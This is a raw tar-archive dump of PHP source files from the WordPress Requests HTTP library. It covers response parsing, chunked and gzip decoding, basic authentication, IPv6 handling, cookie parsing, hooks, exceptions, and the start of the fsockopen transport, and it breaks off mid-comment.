$options); $redirected->history[] = $return; return $redirected; } elseif ($options['redirected'] >= $options['redirects']) { throw new Exception('Too many redirects', 'toomanyredirects', $return); } } $return->redirects = $options['redirected']; $options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]); return $return; } /** * Callback for `transport.internal.parse_response` * * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response * while still executing a multiple request. * * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object * * @param string $response Full response text including headers and body (will be overwritten with Response instance) * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()} * @return void */ public static function parse_multiple(&$response, $request) { try { $url = $request['url']; $headers = $request['headers']; $data = $request['data']; $options = $request['options']; $response = self::parse_response($response, $url, $headers, $data, $options); } catch (Exception $e) { $response = $e; } } /** * Decoded a chunked body as per RFC 2616 * * @link https://tools.ietf.org/html/rfc2616#section-3.6.1 * @param string $data Chunked body * @return string Decoded body */ protected static function decode_chunked($data) { if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) { return $data; } $decoded = ''; $encoded = $data; while (true) { $is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches); if (!$is_chunked) { // Looks like it's not chunked after all return $data; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers return $decoded; } $chunk_length = strlen($matches[0]); $decoded .= substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { return $decoded; } } // We'll never actually get down here // @codeCoverageIgnoreStart } // @codeCoverageIgnoreEnd /** * Convert a key => value array to a 'key: value' array for headers * * @param iterable $dictionary Dictionary of header values * @return array List of headers * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable. */ public static function flatten($dictionary) { if (InputValidator::is_iterable($dictionary) === false) { throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary)); } $return = []; foreach ($dictionary as $key => $value) { $return[] = sprintf('%s: %s', $key, $value); } return $return; } /** * Decompress an encoded body * * Implements gzip, compress and deflate. Guesses which it is by attempting * to decode. * * @param string $data Compressed data in one of the above formats * @return string Decompressed string * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string. */ public static function decompress($data) { if (is_string($data) === false) { throw InvalidArgument::create(1, '$data', 'string', gettype($data)); } if (trim($data) === '') { // Empty body does not need further processing. return $data; } $marker = substr($data, 0, 2); if (!isset(self::$magic_compression_headers[$marker])) { // Not actually compressed. Probably cURL ruining this for us. return $data; } if (function_exists('gzdecode')) { $decoded = @gzdecode($data); if ($decoded !== false) { return $decoded; } } if (function_exists('gzinflate')) { $decoded = @gzinflate($data); if ($decoded !== false) { return $decoded; } } $decoded = self::compatible_gzinflate($data); if ($decoded !== false) { return $decoded; } if (function_exists('gzuncompress')) { $decoded = @gzuncompress($data); if ($decoded !== false) { return $decoded; } } return $data; } /** * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https://core.trac.wordpress.org/ticket/18273 * * @since 1.6.0 * @link https://core.trac.wordpress.org/ticket/18273 * @link https://www.php.net/gzinflate#70875 * @link https://www.php.net/gzinflate#77336 * * @param string $gz_data String to decompress. * @return string|bool False on failure. * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string. */ public static function compatible_gzinflate($gz_data) { if (is_string($gz_data) === false) { throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data)); } if (trim($gz_data) === '') { return false; } // Compressed data might contain a full zlib header, if so strip it for // gzinflate() if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") { $i = 10; $flg = ord(substr($gz_data, 3, 1)); if ($flg > 0) { if ($flg & 4) { list($xlen) = unpack('v', substr($gz_data, $i, 2)); $i += 2 + $xlen; } if ($flg & 8) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 16) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 2) { $i += 2; } } $decompressed = self::compatible_gzinflate(substr($gz_data, $i)); if ($decompressed !== false) { return $decompressed; } } // If the data is Huffman Encoded, we must first strip the leading 2 // byte Huffman marker for gzinflate() // The response is Huffman coded by many compressors such as // java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's // System.IO.Compression.DeflateStream. // // See https://decompres.blogspot.com/ for a quick explanation of this // data type $huffman_encoded = false; // low nibble of first byte should be 0x08 list(, $first_nibble) = unpack('h', $gz_data); // First 2 bytes should be divisible by 0x1F list(, $first_two_bytes) = unpack('n', $gz_data); if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) { $huffman_encoded = true; } if ($huffman_encoded) { $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } } if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") { // ZIP file format header // Offset 6: 2 bytes, General-purpose field // Offset 26: 2 bytes, filename length // Offset 28: 2 bytes, optional field length // Offset 30: Filename field, followed by optional field, followed // immediately by data list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2)); // If the file has been compressed on the fly, 0x08 bit is set of // the general purpose field. We can use this to differentiate // between a compressed document, and a ZIP file $zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08); if (!$zip_compressed_on_the_fly) { // Don't attempt to decode a compressed zip file return $gz_data; } // Determine the first byte of data, based on the above ZIP header // offsets: $first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4))); $decompressed = @gzinflate(substr($gz_data, 30 + $first_file_start)); if ($decompressed !== false) { return $decompressed; } return false; } // Finally fall back to straight gzinflate $decompressed = @gzinflate($gz_data); if ($decompressed !== false) { return $decompressed; } // Fallback for all above failing, not expected, but included for // debugging and preventing regressions and to track stats $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } return false; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Auth/Basic.php�������������������������������������������������������������������������0000644�����������������00000004755�14717703502�0011622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Basic Authentication provider * * @package Requests\Authentication */ namespace WpOrg\Requests\Auth; use WpOrg\Requests\Auth; use WpOrg\Requests\Exception\ArgumentCount; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Hooks; /** * Basic Authentication provider * * Provides a handler for Basic HTTP authentication via the Authorization * header. * * @package Requests\Authentication */ class Basic implements Auth { /** * Username * * @var string */ public $user; /** * Password * * @var string */ public $pass; /** * Constructor * * @since 2.0 Throws an `InvalidArgument` exception. * @since 2.0 Throws an `ArgumentCount` exception instead of the Requests base `Exception. * * @param array|null $args Array of user and password. Must have exactly two elements * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array or null. * @throws \WpOrg\Requests\Exception\ArgumentCount On incorrect number of array elements (`authbasicbadargs`). */ public function __construct($args = null) { if (is_array($args)) { if (count($args) !== 2) { throw ArgumentCount::create('an array with exactly two elements', count($args), 'authbasicbadargs'); } list($this->user, $this->pass) = $args; return; } if ($args !== null) { throw InvalidArgument::create(1, '$args', 'array|null', gettype($args)); } } /** * Register the necessary callbacks * * @see \WpOrg\Requests\Auth\Basic::curl_before_send() * @see \WpOrg\Requests\Auth\Basic::fsockopen_header() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks) { $hooks->register('curl.before_send', [$this, 'curl_before_send']); $hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']); } /** * Set cURL parameters before the data is sent * * @param resource|\CurlHandle $handle cURL handle */ public function curl_before_send(&$handle) { curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString()); } /** * Add extra headers to the request before sending * * @param string $out HTTP header string */ public function fsockopen_header(&$out) { $out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString())); } /** * Get the authentication string (user:pass) * * @return string */ public function getAuthString() { return $this->user . ':' . $this->pass; } } �������������������Requests/src/Ipv6.php�������������������������������������������������������������������������������0000644�����������������00000013007�14717703502�0010512 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class to validate and to work with IPv6 addresses * * @package Requests\Utilities */ namespace WpOrg\Requests; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Utility\InputValidator; /** * Class to validate and to work with IPv6 addresses * * This was originally based on the PEAR class of the same name, but has been * entirely rewritten. * * @package Requests\Utilities */ final class Ipv6 { /** * Uncompresses an IPv6 address * * RFC 4291 allows you to compress consecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and expands the '::' to * the required number of zero pieces. * * Example: FF01::101 -> FF01:0:0:0:0:0:0:101 * ::1 -> 0:0:0:0:0:0:0:1 * * @author Alexander Merz <alexander.merz@web.de> * @author elfrink at introweb dot nl * @author Josh Peck <jmp at joshpeck dot org> * @copyright 2003-2005 The PHP Group * @license https://opensource.org/licenses/bsd-license.php * * @param string|Stringable $ip An IPv6 address * @return string The uncompressed IPv6 address * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object. */ public static function uncompress($ip) { if (InputValidator::is_string_or_stringable($ip) === false) { throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip)); } $ip = (string) $ip; if (substr_count($ip, '::') !== 1) { return $ip; } list($ip1, $ip2) = explode('::', $ip); $c1 = ($ip1 === '') ? -1 : substr_count($ip1, ':'); $c2 = ($ip2 === '') ? -1 : substr_count($ip2, ':'); if (strpos($ip2, '.') !== false) { $c2++; } if ($c1 === -1 && $c2 === -1) { // :: $ip = '0:0:0:0:0:0:0:0'; } elseif ($c1 === -1) { // ::xxx $fill = str_repeat('0:', 7 - $c2); $ip = str_replace('::', $fill, $ip); } elseif ($c2 === -1) { // xxx:: $fill = str_repeat(':0', 7 - $c1); $ip = str_replace('::', $fill, $ip); } else { // xxx::xxx $fill = ':' . str_repeat('0:', 6 - $c2 - $c1); $ip = str_replace('::', $fill, $ip); } return $ip; } /** * Compresses an IPv6 address * * RFC 4291 allows you to compress consecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and compresses consecutive * zero pieces to '::'. * * Example: FF01:0:0:0:0:0:0:101 -> FF01::101 * 0:0:0:0:0:0:0:1 -> ::1 * * @see \WpOrg\Requests\Ipv6::uncompress() * * @param string $ip An IPv6 address * @return string The compressed IPv6 address */ public static function compress($ip) { // Prepare the IP to be compressed. // Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method. $ip = self::uncompress($ip); $ip_parts = self::split_v6_v4($ip); // Replace all leading zeros $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]); // Find bunches of zeros if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) { $max = 0; $pos = null; foreach ($matches[0] as $match) { if (strlen($match[0]) > $max) { $max = strlen($match[0]); $pos = $match[1]; } } $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max); } if ($ip_parts[1] !== '') { return implode(':', $ip_parts); } else { return $ip_parts[0]; } } /** * Splits an IPv6 address into the IPv6 and IPv4 representation parts * * RFC 4291 allows you to represent the last two parts of an IPv6 address * using the standard IPv4 representation * * Example: 0:0:0:0:0:0:13.1.68.3 * 0:0:0:0:0:FFFF:129.144.52.38 * * @param string $ip An IPv6 address * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part */ private static function split_v6_v4($ip) { if (strpos($ip, '.') !== false) { $pos = strrpos($ip, ':'); $ipv6_part = substr($ip, 0, $pos); $ipv4_part = substr($ip, $pos + 1); return [$ipv6_part, $ipv4_part]; } else { return [$ip, '']; } } /** * Checks an IPv6 address * * Checks if the given IP is a valid IPv6 address * * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function check_ipv6($ip) { // Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method. $ip = self::uncompress($ip); list($ipv6, $ipv4) = self::split_v6_v4($ip); $ipv6 = explode(':', $ipv6); $ipv4 = explode('.', $ipv4); if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) { foreach ($ipv6 as $ipv6_part) { // The section can't be empty if ($ipv6_part === '') { return false; } // Nor can it be over four characters if (strlen($ipv6_part) > 4) { return false; } // Remove leading zeros (this is safe because of the above) $ipv6_part = ltrim($ipv6_part, '0'); if ($ipv6_part === '') { $ipv6_part = '0'; } // Check the value is valid $value = hexdec($ipv6_part); if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) { return false; } } if (count($ipv4) === 4) { foreach ($ipv4 as $ipv4_part) { $value = (int) $ipv4_part; if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) { return false; } } } return true; } else { return false; } } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Cookie.php�����������������������������������������������������������������������������0000644�����������������00000036035�14717703502�0011105 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cookie storage object * * @package Requests\Cookies */ namespace WpOrg\Requests; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Iri; use WpOrg\Requests\Response\Headers; use WpOrg\Requests\Utility\CaseInsensitiveDictionary; use WpOrg\Requests\Utility\InputValidator; /** * Cookie storage object * * @package Requests\Cookies */ class Cookie { /** * Cookie name. * * @var string */ public $name; /** * Cookie value. * * @var string */ public $value; /** * Cookie attributes * * Valid keys are `'path'`, `'domain'`, `'expires'`, `'max-age'`, `'secure'` and * `'httponly'`. * * @var \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array Array-like object */ public $attributes = []; /** * Cookie flags * * Valid keys are `'creation'`, `'last-access'`, `'persistent'` and `'host-only'`. * * @var array */ public $flags = []; /** * Reference time for relative calculations * * This is used in place of `time()` when calculating Max-Age expiration and * checking time validity. * * @var int */ public $reference_time = 0; /** * Create a new cookie object * * @param string $name The name of the cookie. * @param string $value The value for the cookie. * @param array|\WpOrg\Requests\Utility\CaseInsensitiveDictionary $attributes Associative array of attribute data * @param array $flags The flags for the cookie. * Valid keys are `'creation'`, `'last-access'`, * `'persistent'` and `'host-only'`. * @param int|null $reference_time Reference time for relative calculations. * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $value argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $attributes argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $flags argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $reference_time argument is not an integer or null. */ public function __construct($name, $value, $attributes = [], $flags = [], $reference_time = null) { if (is_string($name) === false) { throw InvalidArgument::create(1, '$name', 'string', gettype($name)); } if (is_string($value) === false) { throw InvalidArgument::create(2, '$value', 'string', gettype($value)); } if (InputValidator::has_array_access($attributes) === false || InputValidator::is_iterable($attributes) === false) { throw InvalidArgument::create(3, '$attributes', 'array|ArrayAccess&Traversable', gettype($attributes)); } if (is_array($flags) === false) { throw InvalidArgument::create(4, '$flags', 'array', gettype($flags)); } if ($reference_time !== null && is_int($reference_time) === false) { throw InvalidArgument::create(5, '$reference_time', 'integer|null', gettype($reference_time)); } $this->name = $name; $this->value = $value; $this->attributes = $attributes; $default_flags = [ 'creation' => time(), 'last-access' => time(), 'persistent' => false, 'host-only' => true, ]; $this->flags = array_merge($default_flags, $flags); $this->reference_time = time(); if ($reference_time !== null) { $this->reference_time = $reference_time; } $this->normalize(); } /** * Get the cookie value * * Attributes and other data can be accessed via methods. */ public function __toString() { return $this->value; } /** * Check if a cookie is expired. * * Checks the age against $this->reference_time to determine if the cookie * is expired. * * @return boolean True if expired, false if time is valid. */ public function is_expired() { // RFC6265, s. 4.1.2.2: // If a cookie has both the Max-Age and the Expires attribute, the Max- // Age attribute has precedence and controls the expiration date of the // cookie. if (isset($this->attributes['max-age'])) { $max_age = $this->attributes['max-age']; return $max_age < $this->reference_time; } if (isset($this->attributes['expires'])) { $expires = $this->attributes['expires']; return $expires < $this->reference_time; } return false; } /** * Check if a cookie is valid for a given URI * * @param \WpOrg\Requests\Iri $uri URI to check * @return boolean Whether the cookie is valid for the given URI */ public function uri_matches(Iri $uri) { if (!$this->domain_matches($uri->host)) { return false; } if (!$this->path_matches($uri->path)) { return false; } return empty($this->attributes['secure']) || $uri->scheme === 'https'; } /** * Check if a cookie is valid for a given domain * * @param string $domain Domain to check * @return boolean Whether the cookie is valid for the given domain */ public function domain_matches($domain) { if (is_string($domain) === false) { return false; } if (!isset($this->attributes['domain'])) { // Cookies created manually; cookies created by Requests will set // the domain to the requested domain return true; } $cookie_domain = $this->attributes['domain']; if ($cookie_domain === $domain) { // The cookie domain and the passed domain are identical. return true; } // If the cookie is marked as host-only and we don't have an exact // match, reject the cookie if ($this->flags['host-only'] === true) { return false; } if (strlen($domain) <= strlen($cookie_domain)) { // For obvious reasons, the cookie domain cannot be a suffix if the passed domain // is shorter than the cookie domain return false; } if (substr($domain, -1 * strlen($cookie_domain)) !== $cookie_domain) { // The cookie domain should be a suffix of the passed domain. return false; } $prefix = substr($domain, 0, strlen($domain) - strlen($cookie_domain)); if (substr($prefix, -1) !== '.') { // The last character of the passed domain that is not included in the // domain string should be a %x2E (".") character. return false; } // The passed domain should be a host name (i.e., not an IP address). return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $domain); } /** * Check if a cookie is valid for a given path * * From the path-match check in RFC 6265 section 5.1.4 * * @param string $request_path Path to check * @return boolean Whether the cookie is valid for the given path */ public function path_matches($request_path) { if (empty($request_path)) { // Normalize empty path to root $request_path = '/'; } if (!isset($this->attributes['path'])) { // Cookies created manually; cookies created by Requests will set // the path to the requested path return true; } if (is_scalar($request_path) === false) { return false; } $cookie_path = $this->attributes['path']; if ($cookie_path === $request_path) { // The cookie-path and the request-path are identical. return true; } if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) { if (substr($cookie_path, -1) === '/') { // The cookie-path is a prefix of the request-path, and the last // character of the cookie-path is %x2F ("/"). return true; } if (substr($request_path, strlen($cookie_path), 1) === '/') { // The cookie-path is a prefix of the request-path, and the // first character of the request-path that is not included in // the cookie-path is a %x2F ("/") character. return true; } } return false; } /** * Normalize cookie and attributes * * @return boolean Whether the cookie was successfully normalized */ public function normalize() { foreach ($this->attributes as $key => $value) { $orig_value = $value; if (is_string($key)) { $value = $this->normalize_attribute($key, $value); } if ($value === null) { unset($this->attributes[$key]); continue; } if ($value !== $orig_value) { $this->attributes[$key] = $value; } } return true; } /** * Parse an individual cookie attribute * * Handles parsing individual attributes from the cookie values. * * @param string $name Attribute name * @param string|int|bool $value Attribute value (string/integer value, or true if empty/flag) * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped) */ protected function normalize_attribute($name, $value) { switch (strtolower($name)) { case 'expires': // Expiration parsing, as per RFC 6265 section 5.2.1 if (is_int($value)) { return $value; } $expiry_time = strtotime($value); if ($expiry_time === false) { return null; } return $expiry_time; case 'max-age': // Expiration parsing, as per RFC 6265 section 5.2.2 if (is_int($value)) { return $value; } // Check that we have a valid age if (!preg_match('/^-?\d+$/', $value)) { return null; } $delta_seconds = (int) $value; if ($delta_seconds <= 0) { $expiry_time = 0; } else { $expiry_time = $this->reference_time + $delta_seconds; } return $expiry_time; case 'domain': // Domains are not required as per RFC 6265 section 5.2.3 if (empty($value)) { return null; } // Domain normalization, as per RFC 6265 section 5.2.3 if ($value[0] === '.') { $value = substr($value, 1); } return $value; default: return $value; } } /** * Format a cookie for a Cookie header * * This is used when sending cookies to a server. * * @return string Cookie formatted for Cookie header */ public function format_for_header() { return sprintf('%s=%s', $this->name, $this->value); } /** * Format a cookie for a Set-Cookie header * * This is used when sending cookies to clients. This isn't really * applicable to client-side usage, but might be handy for debugging. * * @return string Cookie formatted for Set-Cookie header */ public function format_for_set_cookie() { $header_value = $this->format_for_header(); if (!empty($this->attributes)) { $parts = []; foreach ($this->attributes as $key => $value) { // Ignore non-associative attributes if (is_numeric($key)) { $parts[] = $value; } else { $parts[] = sprintf('%s=%s', $key, $value); } } $header_value .= '; ' . implode('; ', $parts); } return $header_value; } /** * Parse a cookie string into a cookie object * * Based on Mozilla's parsing code in Firefox and related projects, which * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265 * specifies some of this handling, but not in a thorough manner. * * @param string $cookie_header Cookie header value (from a Set-Cookie header) * @param string $name * @param int|null $reference_time * @return \WpOrg\Requests\Cookie Parsed cookie object * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cookie_header argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $name argument is not a string. */ public static function parse($cookie_header, $name = '', $reference_time = null) { if (is_string($cookie_header) === false) { throw InvalidArgument::create(1, '$cookie_header', 'string', gettype($cookie_header)); } if (is_string($name) === false) { throw InvalidArgument::create(2, '$name', 'string', gettype($name)); } $parts = explode(';', $cookie_header); $kvparts = array_shift($parts); if (!empty($name)) { $value = $cookie_header; } elseif (strpos($kvparts, '=') === false) { // Some sites might only have a value without the equals separator. // Deviate from RFC 6265 and pretend it was actually a blank name // (`=foo`) // // https://bugzilla.mozilla.org/show_bug.cgi?id=169091 $name = ''; $value = $kvparts; } else { list($name, $value) = explode('=', $kvparts, 2); } $name = trim($name); $value = trim($value); // Attribute keys are handled case-insensitively $attributes = new CaseInsensitiveDictionary(); if (!empty($parts)) { foreach ($parts as $part) { if (strpos($part, '=') === false) { $part_key = $part; $part_value = true; } else { list($part_key, $part_value) = explode('=', $part, 2); $part_value = trim($part_value); } $part_key = trim($part_key); $attributes[$part_key] = $part_value; } } return new static($name, $value, $attributes, [], $reference_time); } /** * Parse all Set-Cookie headers from request headers * * @param \WpOrg\Requests\Response\Headers $headers Headers to parse from * @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins * @param int|null $time Reference time for expiration calculation * @return array * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $origin argument is not null or an instance of the Iri class. */ public static function parse_from_headers(Headers $headers, $origin = null, $time = null) { $cookie_headers = $headers->getValues('Set-Cookie'); if (empty($cookie_headers)) { return []; } if ($origin !== null && !($origin instanceof Iri)) { throw InvalidArgument::create(2, '$origin', Iri::class . ' or null', gettype($origin)); } $cookies = []; foreach ($cookie_headers as $header) { $parsed = self::parse($header, '', $time); // Default domain/path attributes if (empty($parsed->attributes['domain']) && !empty($origin)) { $parsed->attributes['domain'] = $origin->host; $parsed->flags['host-only'] = true; } else { $parsed->flags['host-only'] = false; } $path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/'); if (!$path_is_valid && !empty($origin)) { $path = $origin->path; // Default path normalization as per RFC 6265 section 5.1.4 if (substr($path, 0, 1) !== '/') { // If the uri-path is empty or if the first character of // the uri-path is not a %x2F ("/") character, output // %x2F ("/") and skip the remaining steps. $path = '/'; } elseif (substr_count($path, '/') === 1) { // If the uri-path contains no more than one %x2F ("/") // character, output %x2F ("/") and skip the remaining // step. $path = '/'; } else { // Output the characters of the uri-path from the first // character up to, but not including, the right-most // %x2F ("/"). $path = substr($path, 0, strrpos($path, '/')); } $parsed->attributes['path'] = $path; } // Reject invalid cookie domains if (!empty($origin) && !$parsed->domain_matches($origin->host)) { continue; } $cookies[$parsed->name] = $parsed; } return $cookies; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Hooks.php������������������������������������������������������������������������������0000644�����������������00000005730�14717703502�0010755 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Handles adding and dispatching events * * @package Requests\EventDispatcher */ namespace WpOrg\Requests; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\HookManager; use WpOrg\Requests\Utility\InputValidator; /** * Handles adding and dispatching events * * @package Requests\EventDispatcher */ class Hooks implements HookManager { /** * Registered callbacks for each hook * * @var array */ protected $hooks = []; /** * Register a callback for a hook * * @param string $hook Hook name * @param callable $callback Function/method to call on event * @param int $priority Priority number. <0 is executed earlier, >0 is executed later * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer. */ public function register($hook, $callback, $priority = 0) { if (is_string($hook) === false) { throw InvalidArgument::create(1, '$hook', 'string', gettype($hook)); } if (is_callable($callback) === false) { throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback)); } if (InputValidator::is_numeric_array_key($priority) === false) { throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority)); } if (!isset($this->hooks[$hook])) { $this->hooks[$hook] = [ $priority => [], ]; } elseif (!isset($this->hooks[$hook][$priority])) { $this->hooks[$hook][$priority] = []; } $this->hooks[$hook][$priority][] = $callback; } /** * Dispatch a message * * @param string $hook Hook name * @param array $parameters Parameters to pass to callbacks * @return boolean Successfulness * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array. */ public function dispatch($hook, $parameters = []) { if (is_string($hook) === false) { throw InvalidArgument::create(1, '$hook', 'string', gettype($hook)); } // Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`. if (is_array($parameters) === false) { throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters)); } if (empty($this->hooks[$hook])) { return false; } if (!empty($parameters)) { // Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0. $parameters = array_values($parameters); } ksort($this->hooks[$hook]); foreach ($this->hooks[$hook] as $priority => $hooked) { foreach ($hooked as $callback) { $callback(...$parameters); } } return true; } public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } } ����������������������������������������Requests/src/Exception.php��������������������������������������������������������������������������0000644�����������������00000002132�14717703502�0011621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Exception for HTTP requests * * @package Requests\Exceptions */ namespace WpOrg\Requests; use Exception as PHPException; /** * Exception for HTTP requests * * @package Requests\Exceptions */ class Exception extends PHPException { /** * Type of exception * * @var string */ protected $type; /** * Data associated with the exception * * @var mixed */ protected $data; /** * Create a new exception * * @param string $message Exception message * @param string $type Exception type * @param mixed $data Associated data * @param integer $code Exception numerical code, if applicable */ public function __construct($message, $type, $data = null, $code = 0) { parent::__construct($message, $code); $this->type = $type; $this->data = $data; } /** * Like {@see \Exception::getCode()}, but a string code. * * @codeCoverageIgnore * @return string */ public function getType() { return $this->type; } /** * Gives any relevant data * * @codeCoverageIgnore * @return mixed */ public function getData() { return $this->data; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Transport/Fsockopen.php����������������������������������������������������������������0000644�����������������00000037033�14717703502�0013616 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * fsockopen HTTP transport * * @package Requests\Transport */ namespace WpOrg\Requests\Transport; use WpOrg\Requests\Capability; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Port; use WpOrg\Requests\Requests; use WpOrg\Requests\Ssl; use WpOrg\Requests\Transport; use WpOrg\Requests\Utility\CaseInsensitiveDictionary; use WpOrg\Requests\Utility\InputValidator; /** * fsockopen HTTP transport * * @package Requests\Transport */ final class Fsockopen implements Transport { /** * Second to microsecond conversion * * @var integer */ const SECOND_IN_MICROSECONDS = 1000000; /** * Raw HTTP data * * @var string */ public $headers = ''; /** * Stream metadata * * @var array Associative array of properties, see {@link https://www.php.net/stream_get_meta_data} */ public $info; /** * What's the maximum number of bytes we should keep? * * @var int|bool Byte count, or false if no limit. */ private $max_bytes = false; /** * Cache for received connection errors. * * @var string */ private $connect_error = ''; /** * Perform a request * * @param string|Stringable $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return string Raw HTTP result * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. * @throws \WpOrg\Requests\Exception On failure to connect to 